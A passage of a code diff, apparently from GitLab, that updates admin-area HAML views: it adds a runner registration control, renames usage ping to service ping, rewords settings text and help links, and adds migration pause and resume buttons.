+ = link_to s_('Learn more.'), help_page_path('administration/repository_storage_paths.md'), target: '_blank', rel: 'noopener noreferrer'
.form-check
= f.fields_for :repository_storages_weighted, storage_weights do |storage_form|
- Gitlab.config.repositories.storages.keys.each do |storage|
diff --git a/app/views/admin/application_settings/_runner_registrars_form.html.haml b/app/views/admin/application_settings/_runner_registrars_form.html.haml
new file mode 100644
index 00000000000..b7ab896533b
--- /dev/null
+++ b/app/views/admin/application_settings/_runner_registrars_form.html.haml
@@ -0,0 +1,16 @@
+= form_for @application_setting, url: ci_cd_admin_application_settings_path(anchor: 'js-runner-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_errors(@application_setting)
+
+ %fieldset
+ .form-group
+ = hidden_field_tag "application_setting[valid_runner_registrars][]", nil
+ - ApplicationSetting::VALID_RUNNER_REGISTRAR_TYPES.each do |type|
+ .form-check
+ = f.check_box(:valid_runner_registrars, { multiple: true, checked: valid_runner_registrars.include?(type), class: 'form-check-input' }, type, nil)
+ = f.label :valid_runner_registrars, class: 'form-check-label' do
+ = s_("Runners|Members of the %{type} can register runners") % { type: type }
+ %span.form-text.gl-text-gray-600
+ = _('If no options are selected, only administrators can register runners.')
+ = link_to _('Learn more.'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'runner-registration'), target: '_blank', rel: 'noopener noreferrer'
+
+ = f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_snowplow.html.haml b/app/views/admin/application_settings/_snowplow.html.haml
index 5daf220d81c..8c98778147e 100644
--- a/app/views/admin/application_settings/_snowplow.html.haml
+++ b/app/views/admin/application_settings/_snowplow.html.haml
@@ -6,7 +6,8 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
%p
- = _('Configure the %{link} integration.').html_safe % { link: link_to('Snowplow', 'https://snowplowanalytics.com/', target: '_blank') }
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('development/snowplow/index') }
+ = html_escape(_('Configure %{link} to track events. %{link_start}Learn more.%{link_end}')) % { link: link_to('Snowplow', 'https://snowplowanalytics.com/', target: '_blank').html_safe, link_start: link_start, link_end: '</a>'.html_safe }
.settings-content
= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-snowplow-settings'), html: { class: 'fieldset-form', id: 'snowplow-settings' } do |f|
= form_errors(@application_setting) if expanded
@@ -15,15 +16,21 @@
.form-group
.form-check
= f.check_box :snowplow_enabled, class: 'form-check-input'
- = f.label :snowplow_enabled, _('Enable snowplow tracking'), class: 'form-check-label'
+ = f.label :snowplow_enabled, _('Enable Snowplow tracking'), class: 'form-check-label'
.form-group
= f.label :snowplow_collector_hostname, _('Collector hostname'), class: 'label-light'
= f.text_field :snowplow_collector_hostname, class: 'form-control gl-form-input', placeholder: 'snowplow.example.com'
+ .form-text.text-muted
+ = _('The hostname of your Snowplow collector.')
.form-group
= f.label :snowplow_app_id, _('App ID'), class: 'label-light'
- = f.text_field :snowplow_app_id, class: 'form-control gl-form-input'
+ = f.text_field :snowplow_app_id, class: 'form-control gl-form-input', placeholder: 'gitlab'
+ .form-text.text-muted
+ = _('The ID of the application.')
.form-group
= f.label :snowplow_cookie_domain, _('Cookie domain'), class: 'label-light'
- = f.text_field :snowplow_cookie_domain, class: 'form-control gl-form-input'
+ = f.text_field :snowplow_cookie_domain, class: 'form-control gl-form-input', placeholder: '.your-gitlab-instance.com'
+ .form-text.text-muted
+ = _('The Snowplow cookie domain.')
= f.submit _('Save changes'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/admin/application_settings/_third_party_offers.html.haml b/app/views/admin/application_settings/_third_party_offers.html.haml
index 5df2454ed2e..9a34400092e 100644
--- a/app/views/admin/application_settings/_third_party_offers.html.haml
+++ b/app/views/admin/application_settings/_third_party_offers.html.haml
@@ -2,11 +2,11 @@
%section.settings.as-third-party-offers.no-animate#js-third-party-offers-settings{ class: ('expanded' if expanded) }
.settings-header
%h4
- = _('Third party offers')
+ = _('Third-party offers')
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
%p
- = _('Control the display of third party offers.')
+ = _('Control whether to display third-party offers in GitLab.')
.settings-content
= form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-third-party-offers-settings'), html: { class: 'fieldset-form', id: 'third-party-offers-settings' } do |f|
= form_errors(@application_setting) if expanded
@@ -15,6 +15,6 @@
.form-group
.form-check
= f.check_box :hide_third_party_offers, class: 'form-check-input'
- = f.label :hide_third_party_offers, _('Do not display offers from third parties within GitLab'), class: 'form-check-label'
+ = f.label :hide_third_party_offers, _('Do not display offers from third parties'), class: 'form-check-label'
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_usage.html.haml b/app/views/admin/application_settings/_usage.html.haml
index 64e8751bf31..ddd0abb4c34 100644
--- a/app/views/admin/application_settings/_usage.html.haml
+++ b/app/views/admin/application_settings/_usage.html.haml
@@ -1,4 +1,4 @@
-- payload_class = 'js-usage-ping-payload'
+- payload_class = 'js-service-ping-payload'
= form_for @application_setting, url: metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), html: { class: 'fieldset-form' } do |f|
= form_errors(@application_setting)
@@ -17,23 +17,44 @@
.form-check
= f.check_box :usage_ping_enabled, disabled: !can_be_configured, class: 'form-check-input'
= f.label :usage_ping_enabled, class: 'form-check-label' do
- = _('Enable usage ping')
+ = _('Enable service ping')
.form-text.text-muted
- if can_be_configured
%p.mb-2= _('To help improve GitLab and its user experience, GitLab will periodically collect usage information.')
- - usage_ping_path = help_page_path('user/admin_area/settings/usage_statistics', anchor: 'usage-ping')
- - usage_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: usage_ping_path }
- %p.mb-2= s_('%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc.').html_safe % { usage_ping_link_start: usage_ping_link_start, usage_ping_link_end: '</a>'.html_safe }
+ - service_ping_path = help_page_path('user/admin_area/settings/usage_statistics', anchor: 'service-ping')
+ - service_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: service_ping_path }
+ %p.mb-2= s_('%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc.').html_safe % { service_ping_link_start: service_ping_link_start, service_ping_link_end: '</a>'.html_safe }
%button.gl-button.btn.btn-default.js-payload-preview-trigger{ type: 'button', data: { payload_selector: ".#{payload_class}" } }
.gl-spinner.js-spinner.gl-display-none.gl-mr-2
.js-text.d-inline= _('Preview payload')
- %pre.usage-data.js-syntax-highlight.code.highlight.mt-2.d-none{ class: payload_class, data: { endpoint: usage_data_admin_application_settings_path(format: :html) } }
+ %pre.service-data-payload-container.js-syntax-highlight.code.highlight.mt-2.d-none{ class: payload_class, data: { endpoint: usage_data_admin_application_settings_path(format: :html) } }
- else
- = _('The usage ping is disabled, and cannot be configured through this form.')
- - deactivating_usage_ping_path = help_page_path('development/usage_ping/index.md', anchor: 'disable-usage-ping')
- - deactivating_usage_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: deactivating_usage_ping_path }
- = s_('For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}.').html_safe % { deactivating_usage_ping_link_start: deactivating_usage_ping_link_start, deactivating_usage_ping_link_end: '</a>'.html_safe }
+ = _('Service ping is disabled in your configuration file, and cannot be enabled through this form.')
+ - deactivating_service_ping_path = help_page_path('development/service_ping/index.md', anchor: 'disable-service-ping-using-the-configuration-file')
+ - deactivating_service_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: deactivating_service_ping_path }
+ = s_('For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}.').html_safe % { deactivating_service_ping_link_start: deactivating_service_ping_link_start, deactivating_service_ping_link_end: '</a>'.html_safe }
+ .form-group
+ - usage_ping_enabled = @application_setting.usage_ping_enabled?
+ .form-check
+ = f.check_box :usage_ping_features_enabled?, disabled: !usage_ping_enabled, class: 'form-check-input'
+ = f.label :usage_ping_features_enabled?, class: 'form-check-label gl-cursor-not-allowed', id: 'service_ping_features_label' do
+ = _('Enable Registration Features')
+ = link_to sprite_icon('question-o'), help_page_path('development/service_ping/index.md', anchor: 'registration-features-program')
+ .form-text.text-muted
+ - if usage_ping_enabled
+ %p.gl-mb-3.text-muted{ id: 'service_ping_features_helper_text' }= _('You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in the future, you will also need to register with GitLab via a new cloud licensing service.')
+ - else
+ %p.gl-mb-3.text-muted{ id: 'service_ping_features_helper_text' }= _('To enable Registration Features, make sure "Enable service ping" is checked.')
+
+ %p.gl-mb-3.text-muted= _('Registration Features include:')
+ .form-text
+ - email_from_gitlab_path = help_page_path('tools/email.md')
+ - link_end = '</a>'.html_safe
+ - email_from_gitlab_link = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: email_from_gitlab_path }
+ %ul
+ %li
+ = _('Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}.').html_safe % { link_start: email_from_gitlab_link, link_end: link_end }
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/ci/_header.html.haml b/app/views/admin/application_settings/ci/_header.html.haml
index 40486e9a9e6..1298be9a6cb 100644
--- a/app/views/admin/application_settings/ci/_header.html.haml
+++ b/app/views/admin/application_settings/ci/_header.html.haml
@@ -8,7 +8,7 @@
%p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
- = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to s_('Learn more.'), help_page_path('ci/variables/index', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul
@@ -16,4 +16,4 @@
= html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or tags.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
%li
= html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/index', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/admin/application_settings/ci_cd.html.haml b/app/views/admin/application_settings/ci_cd.html.haml
index 127ab8ea1f4..18ec43407c3 100644
--- a/app/views/admin/application_settings/ci_cd.html.haml
+++ b/app/views/admin/application_settings/ci_cd.html.haml
@@ -8,7 +8,7 @@
.settings-content
- if ci_variable_protected_by_default?
%p.settings-message.text-center
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable') }
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/index', anchor: 'protect-a-cicd-variable') }
= s_('Environment variables on this GitLab instance are configured to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
#js-instance-variables{ data: { endpoint: admin_ci_variables_path, group: 'true', maskable_regex: ci_variable_maskable_regex, protected_by_default: ci_variable_protected_by_default?.to_s} }
@@ -38,3 +38,13 @@
= _('Various container registry settings.')
.settings-content
= render 'registry'
+
+- if Feature.enabled?(:runner_registration_control)
+ %section.settings.as-runner.no-animate#js-runner-settings{ class: ('expanded' if expanded_by_default?) }
+ .settings-header
+ %h4
+ = s_('Runners|Runner registration')
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
+ = expanded_by_default? ? 'Collapse' : 'Expand'
+ .settings-content
+ = render 'runner_registrars_form'
diff --git a/app/views/admin/application_settings/general.html.haml b/app/views/admin/application_settings/general.html.haml
index 0fbbef02613..53bdbcd7137 100644
--- a/app/views/admin/application_settings/general.html.haml
+++ b/app/views/admin/application_settings/general.html.haml
@@ -107,6 +107,7 @@
= render_if_exists 'admin/application_settings/maintenance_mode_settings_form'
= render 'admin/application_settings/gitpod'
= render 'admin/application_settings/kroki'
+= render 'admin/application_settings/mailgun'
= render 'admin/application_settings/plantuml'
= render 'admin/application_settings/sourcegraph'
= render_if_exists 'admin/application_settings/slack'
diff --git a/app/views/admin/application_settings/integrations.html.haml b/app/views/admin/application_settings/integrations.html.haml
index 7a81d53c085..d818c587b79 100644
--- a/app/views/admin/application_settings/integrations.html.haml
+++ b/app/views/admin/application_settings/integrations.html.haml
@@ -1,9 +1,9 @@
-- breadcrumb_title _('Integrations')
-- page_title _('Integrations')
+- breadcrumb_title s_('Integrations|Instance-level integration management')
+- page_title s_('Integrations|Instance-level integration management')
- @content_class = 'limit-container-width' unless fluid_layout
-%h3= s_('Integrations|Project integration management')
+%h3= s_('Integrations|Instance-level integration management')
- integrations_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: integrations_help_page_path }
-%p= s_("Integrations|GitLab administrators can set up integrations that all projects inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}project integration management%{link_end}.").html_safe % { integrations_link_start: integrations_link_start, link_end: "</a>".html_safe }
+%p= s_("Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}.").html_safe % { integrations_link_start: integrations_link_start, link_end: "</a>".html_safe }
= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/admin/application_settings/metrics_and_profiling.html.haml b/app/views/admin/application_settings/metrics_and_profiling.html.haml
index 113ff20e910..14483e4e55e 100644
--- a/app/views/admin/application_settings/metrics_and_profiling.html.haml
+++ b/app/views/admin/application_settings/metrics_and_profiling.html.haml
@@ -47,10 +47,8 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Enable or disable version check and usage ping.')
+ = _('Enable or disable version check and service ping.')
.settings-content
= render 'usage'
-= render_if_exists 'admin/application_settings/seat_link_setting', expanded: expanded_by_default?
-
= render_if_exists 'admin/application_settings/pseudonymizer_settings', expanded: expanded_by_default?
diff --git a/app/views/admin/application_settings/preferences.html.haml b/app/views/admin/application_settings/preferences.html.haml
index 17bf9ba84a2..0dfc3d7a60d 100644
--- a/app/views/admin/application_settings/preferences.html.haml
+++ b/app/views/admin/application_settings/preferences.html.haml
@@ -20,18 +20,19 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _("Configure What's new drawer and content.")
+ = _("Configure %{italic_start}What's new%{italic_end} drawer and content.").html_safe % { italic_start: '<i>'.html_safe, italic_end: '</i>'.html_safe }
.settings-content
= render 'whats_new'
%section.settings.as-help-page.no-animate#js-help-settings{ class: ('expanded' if expanded_by_default?) }
.settings-header
%h4
- = _('Help page')
+ = _('Sign-in and Help page')
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Help page text and support page url.')
+ = _('Additional text for the sign-in and Help page.')
+ = link_to s_('Learn more.'), help_page_path('user/admin_area/settings/help_page.md'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
= render 'help_page'
@@ -60,11 +61,13 @@
%section.settings.as-gitaly.no-animate#js-gitaly-settings{ class: ('expanded' if expanded_by_default?) }
.settings-header
%h4
- = _('Gitaly')
+ = _('Gitaly timeouts')
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
= _('Configure Gitaly timeouts.')
+ %span
+ = link_to _('Learn more.'), help_page_path('user/admin_area/settings/gitaly_timeouts.md'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
= render 'gitaly'
@@ -75,6 +78,6 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Various localization settings.')
+ = _('Configure the default first day of the week and time tracking units.')
.settings-content
= render 'localization'
diff --git a/app/views/admin/application_settings/repository.html.haml b/app/views/admin/application_settings/repository.html.haml
index 111cc9c5d7c..2a9fba1aef6 100644
--- a/app/views/admin/application_settings/repository.html.haml
+++ b/app/views/admin/application_settings/repository.html.haml
@@ -9,7 +9,7 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Set the default name of the initial branch when creating new repositories through the user interface.')
+ = s_('AdminSettings|The default name for the initial branch of new repositories created in the instance.')
.settings-content
= render 'initial_branch_name'
@@ -21,6 +21,7 @@
= expanded_by_default? ? 'Collapse' : 'Expand'
%p
= _('Configure repository mirroring.')
+ = link_to s_('Learn more.'), help_page_path('user/project/repository/repository_mirroring.md'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
= render partial: 'repository_mirrors_form'
@@ -31,7 +32,8 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Configure storage path settings.')
+ = _('Configure repository storage.')
+ = link_to s_('Learn more.'), help_page_path('administration/repository_storage_paths.md'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
= render 'repository_storage'
@@ -42,7 +44,11 @@
%button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
= expanded_by_default? ? _('Collapse') : _('Expand')
%p
- = _('Configure automatic git checks and housekeeping on repositories.')
+ - repository_checks_link_url = help_page_path('administration/repository_checks.md')
+ - repository_checks_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: repository_checks_link_url }
+ - housekeeping_link_url = help_page_path('administration/housekeeping.md')
+ - housekeeping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: housekeeping_link_url }
+ = html_escape(s_('Configure %{repository_checks_link_start}repository checks%{link_end} and %{housekeeping_link_start}housekeeping%{link_end} on repositories.')) % { repository_checks_link_start: repository_checks_link_start, housekeeping_link_start: housekeeping_link_start, link_end: '</a>'.html_safe }
.settings-content
= render 'repository_check'
diff --git a/app/views/admin/background_migrations/_migration.html.haml b/app/views/admin/background_migrations/_migration.html.haml
index 40860ea9400..ddb2eb27705 100644
--- a/app/views/admin/background_migrations/_migration.html.haml
+++ b/app/views/admin/background_migrations/_migration.html.haml
@@ -8,3 +8,12 @@
= _('Unknown')
%td{ role: 'cell', data: { label: _('Status') } }
%span.badge.badge-pill.gl-badge.sm{ class: batched_migration_status_badge_class_name(migration) }= migration.status.humanize
+ %td{ role: 'cell', data: { label: _('Action') } }
+ - if migration.active?
+ = button_to pause_admin_background_migration_path(migration),
+ class: 'gl-button btn btn-icon has-tooltip', title: _('Pause'), 'aria-label' => _('Pause') do
+ = sprite_icon('pause', css_class: 'gl-button-icon gl-icon')
+ - elsif migration.paused?
+ = button_to resume_admin_background_migration_path(migration),
+ class: 'gl-button btn btn-icon has-tooltip', title: _('Resume'), 'aria-label' => _('Resume') do
+ = sprite_icon('play', css_class: 'gl-button-icon gl-icon')
diff --git a/app/views/admin/background_migrations/index.html.haml b/app/views/admin/background_migrations/index.html.haml
index 2a372c89912..9ccbdfb5f20 100644
--- a/app/views/admin/background_migrations/index.html.haml
+++ b/app/views/admin/background_migrations/index.html.haml
@@ -29,6 +29,7 @@
%th.table-th-transparent.border-bottom{ role: 'cell' }= _('Migration')
%th.table-th-transparent.border-bottom{ role: 'cell' }= _('Progress')
%th.table-th-transparent.border-bottom{ role: 'cell' }= _('Status')
+ %th.table-th-transparent.border-bottom{ role: 'cell' }
%tbody{ role: 'rowgroup' }
= render partial: 'migration', collection: @migrations
diff --git a/app/views/admin/dashboard/index.html.haml b/app/views/admin/dashboard/index.html.haml
index 58c65bdc8c7..ec3daf6c494 100644
--- a/app/views/admin/dashboard/index.html.haml
+++ b/app/views/admin/dashboard/index.html.haml
@@ -3,15 +3,14 @@
- billable_users_url = help_page_path('subscriptions/self_managed/index', anchor: 'billable-users')
- billable_users_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer nofollow">'.html_safe % { url: billable_users_url }
+= render_if_exists 'shared/qrtly_reconciliation_alert'
+
- if @notices
- @notices.each do |notice|
.js-vue-alert{ 'v-cloak': true, data: { variant: notice[:type],
dismissible: true.to_s } }
= notice[:message].html_safe
-- if Gitlab.ee? && display_upcoming_reconciliation_alert?
- #js-qrtly-reconciliation-alert{ data: upcoming_reconciliation_hash }
-
- if @license.present?
.license-panel.gl-mt-5
= render_if_exists 'admin/licenses/summary'
diff --git a/app/views/admin/dev_ops_report/_callout.html.haml b/app/views/admin/dev_ops_report/_callout.html.haml
index f313865478d..2b4c258a00c 100644
--- a/app/views/admin/dev_ops_report/_callout.html.haml
+++ b/app/views/admin/dev_ops_report/_callout.html.haml
@@ -8,6 +8,6 @@
%h4
= _('Introducing Your DevOps Report')
%p
- = _('Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers.')
+ = _('Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations.')
.svg-container.devops
= custom_icon('dev_ops_report_overview')
diff --git a/app/views/admin/dev_ops_report/_report.html.haml b/app/views/admin/dev_ops_report/_report.html.haml
index dbd0020e382..0b26548d6e6 100644
--- a/app/views/admin/dev_ops_report/_report.html.haml
+++ b/app/views/admin/dev_ops_report/_report.html.haml
@@ -1,10 +1,9 @@
-- usage_ping_enabled = Gitlab::CurrentSettings.usage_ping_enabled
+- service_ping_enabled = Gitlab::CurrentSettings.usage_ping_enabled
-- if usage_ping_enabled && show_callout?('dev_ops_report_intro_callout_dismissed')
+- if service_ping_enabled && show_callout?('dev_ops_report_intro_callout_dismissed')
= render 'callout'
-- if !usage_ping_enabled
- #js-devops-usage-ping-disabled{ data: { is_admin: current_user&.admin.to_s, empty_state_svg_path: image_path('illustrations/convdev/convdev_no_index.svg'), enable_usage_ping_link: metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), docs_link: help_page_path('development/usage_ping/index.md') } }
+- if !service_ping_enabled
+ #js-devops-service-ping-disabled{ data: { is_admin: current_user&.admin.to_s, empty_state_svg_path: image_path('illustrations/convdev/convdev_no_index.svg'), enable_service_ping_path: metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), docs_link: help_page_path('development/service_ping/index.md') } }
- else
#js-devops-score{ data: { devops_score_metrics: devops_score_metrics(@metric).to_json, devops_report_docs_path: help_page_path('user/admin_area/analytics/dev_ops_report'), no_data_image_path: image_path('dev_ops_report_no_data.svg') } }
-
diff --git a/app/views/admin/groups/show.html.haml b/app/views/admin/groups/show.html.haml
index 5f8ec5086bd..9b42e1b4967 100644
--- a/app/views/admin/groups/show.html.haml
+++ b/app/views/admin/groups/show.html.haml
@@ -128,16 +128,12 @@
.card-header
= html_escape(_("%{group_name} group members")) % { group_name: "<strong>#{html_escape(@group.name)}</strong>".html_safe }
%span.badge.badge-pill= @group.users_count
- .float-right
- = link_to group_group_members_path(@group), class: 'btn btn-default gl-button btn-sm' do
- = sprite_icon('pencil-square', css_class: 'gl-icon')
- = _('Manage access')
+ = render 'shared/members/manage_access_button', path: group_group_members_path(@group)
%ul.content-list.group-users-list.content-list.members-list
= render partial: 'shared/members/member',
collection: @members, as: :member,
locals: { membership_source: @group,
group: @group,
- show_controls: false,
current_user_is_group_owner: current_user_is_group_owner }
- unless @members.size < Kaminari.config.default_per_page
.card-footer
diff --git a/app/views/admin/identities/index.html.haml b/app/views/admin/identities/index.html.haml
index a6d562dad31..d85ab476693 100644
--- a/app/views/admin/identities/index.html.haml
+++ b/app/views/admin/identities/index.html.haml
@@ -15,3 +15,5 @@
= render @identities
- else
%h4= _('This user has no identities')
+
+= render partial: 'admin/users/modals'
diff --git a/app/views/admin/impersonation_tokens/index.html.haml b/app/views/admin/impersonation_tokens/index.html.haml
index ec393fdd794..1609687fc8d 100644
--- a/app/views/admin/impersonation_tokens/index.html.haml
+++ b/app/views/admin/impersonation_tokens/index.html.haml
@@ -19,7 +19,8 @@
path: admin_user_impersonation_tokens_path,
impersonation: true,
token: @impersonation_token,
- scopes: @scopes
+ scopes: @scopes,
+ help_path: help_page_path('api/index', anchor: 'impersonation-tokens')
= render 'shared/access_tokens/table',
type: type,
@@ -27,3 +28,5 @@
impersonation: true,
active_tokens: @active_impersonation_tokens,
revoke_route_helper: ->(token) { revoke_admin_user_impersonation_token_path(token.user, token) }
+
+= render partial: 'admin/users/modals'
diff --git a/app/views/admin/projects/show.html.haml b/app/views/admin/projects/show.html.haml
index 40443fb3406..5c92cbf957e 100644
--- a/app/views/admin/projects/show.html.haml
+++ b/app/views/admin/projects/show.html.haml
@@ -15,8 +15,11 @@
- if @project.last_repository_check_failed?
.row
.col-md-12
- .gl-alert.gl-alert-danger.gl-mb-5{ data: { testid: 'last-repository-check-failed-alert' } }
- = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ = render 'shared/global_alert',
+ variant: :danger,
+ alert_class: 'gl-mb-5',
+ alert_data: { testid: 'last-repository-check-failed-alert' },
+ is_container: true do
.gl-alert-body
- last_check_message = _("Last repository check (%{last_check_timestamp}) failed. See the 'repocheck.log' file for error messages.")
- last_check_message = last_check_message % { last_check_timestamp: time_ago_with_tooltip(@project.last_repository_check_at) }
@@ -180,37 +183,29 @@
%strong= @group.name
= _('group members')
%span.badge.badge-pill= @group_members.size
- .float-right
- = link_to admin_group_path(@group), class: 'btn btn-default gl-button btn-sm' do
- = sprite_icon('pencil-square', css_class: 'gl-icon')
- = _('Manage access')
+ = render 'shared/members/manage_access_button', path: group_group_members_path(@group)
%ul.content-list.members-list
= render partial: 'shared/members/member',
collection: @group_members, as: :member,
locals: { membership_source: @project,
group: @group,
- show_controls: false,
current_user_is_group_owner: current_user_is_group_owner }
.card-footer
= paginate @group_members, param_name: 'group_members_page', theme: 'gitlab'
- = render 'shared/members/requests', membership_source: @project, group: @group, requesters: @requesters, force_mobile_view: true
+ = render 'shared/members/requests', membership_source: @project, group: @group, requesters: @requesters
.card
.card-header
%strong= @project.name
= _('project members')
%span.badge.badge-pill= @project.users.size
- .float-right
- = link_to project_project_members_path(@project), class: 'btn btn-default gl-button btn-sm' do
- = sprite_icon('pencil-square', css_class: 'gl-icon')
- = _('Manage access')
+ = render 'shared/members/manage_access_button', path: project_project_members_path(@project)
%ul.content-list.project_members.members-list
= render partial: 'shared/members/member',
collection: @project_members, as: :member,
locals: { membership_source: @project,
group: @group,
- show_controls: false,
current_user_is_group_owner: current_user_is_group_owner }
.card-footer
= paginate @project_members, param_name: 'project_members_page', theme: 'gitlab'
diff --git a/app/views/admin/runners/_runner.html.haml b/app/views/admin/runners/_runner.html.haml
index da2fcd5a4a6..ce143a6b155 100644
--- a/app/views/admin/runners/_runner.html.haml
+++ b/app/views/admin/runners/_runner.html.haml
@@ -6,15 +6,15 @@
.table-mobile-header{ role: 'rowheader' }= _('Type')
.table-mobile-content
- if runner.instance_type?
- %span.badge.badge-pill.gl-badge.sm.badge-success= _("shared")
+ %span.badge.badge-pill.gl-badge.sm.badge-success= s_('Runners|shared')
- elsif runner.group_type?
- %span.badge.badge-pill.gl-badge.sm.badge-success= _("group")
+ %span.badge.badge-pill.gl-badge.sm.badge-success= s_('Runners|group')
- else
- %span.badge.badge-pill.gl-badge.sm.badge-info= _("specific")
+ %span.badge.badge-pill.gl-badge.sm.badge-info= s_('Runners|specific')
- if runner.locked?
- %span.badge.badge-pill.gl-badge.sm.badge-warning= _("locked")
+ %span.badge.badge-pill.gl-badge.sm.badge-warning= s_('Runners|locked')
- unless runner.active?
- %span.badge.badge-pill.gl-badge.sm.badge-danger= _("paused")
+ %span.badge.badge-pill.gl-badge.sm.badge-danger= s_('Runners|paused')
.table-section.section-30
.table-mobile-header{ role: 'rowheader' }= s_('Runners|Runner')
diff --git a/app/views/admin/runners/index.html.haml b/app/views/admin/runners/index.html.haml
index 07fbc3e5398..f9c52d9316b 100644
--- a/app/views/admin/runners/index.html.haml
+++ b/app/views/admin/runners/index.html.haml
@@ -17,23 +17,23 @@
%span= _('Runners can be:')
%ul
%li
- %span.badge.badge-pill.gl-badge.sm.badge-success shared
+ %span.badge.badge-pill.gl-badge.sm.badge-success= s_('Runners|shared')
\-
= _('Runs jobs from all unassigned projects.')
%li
- %span.badge.badge-pill.gl-badge.sm.badge-success group
+ %span.badge.badge-pill.gl-badge.sm.badge-success= s_('Runners|group')
\-
= _('Runs jobs from all unassigned projects in its group.')
%li
- %span.badge.badge-pill.gl-badge.sm.badge-info specific
+ %span.badge.badge-pill.gl-badge.sm.badge-info= s_('Runners|specific')
\-
= _('Runs jobs from assigned projects.')
%li
- %span.badge.badge-pill.gl-badge.sm.badge-warning locked
+ %span.badge.badge-pill.gl-badge.sm.badge-warning= s_('Runners|locked')
\-
= _('Cannot be assigned to other projects.')
%li
- %span.badge.badge-pill.gl-badge.sm.badge-danger paused
+ %span.badge.badge-pill.gl-badge.sm.badge-danger= s_('Runners|paused')
\-
= _('Not available to run jobs.')
@@ -41,7 +41,7 @@
.bs-callout
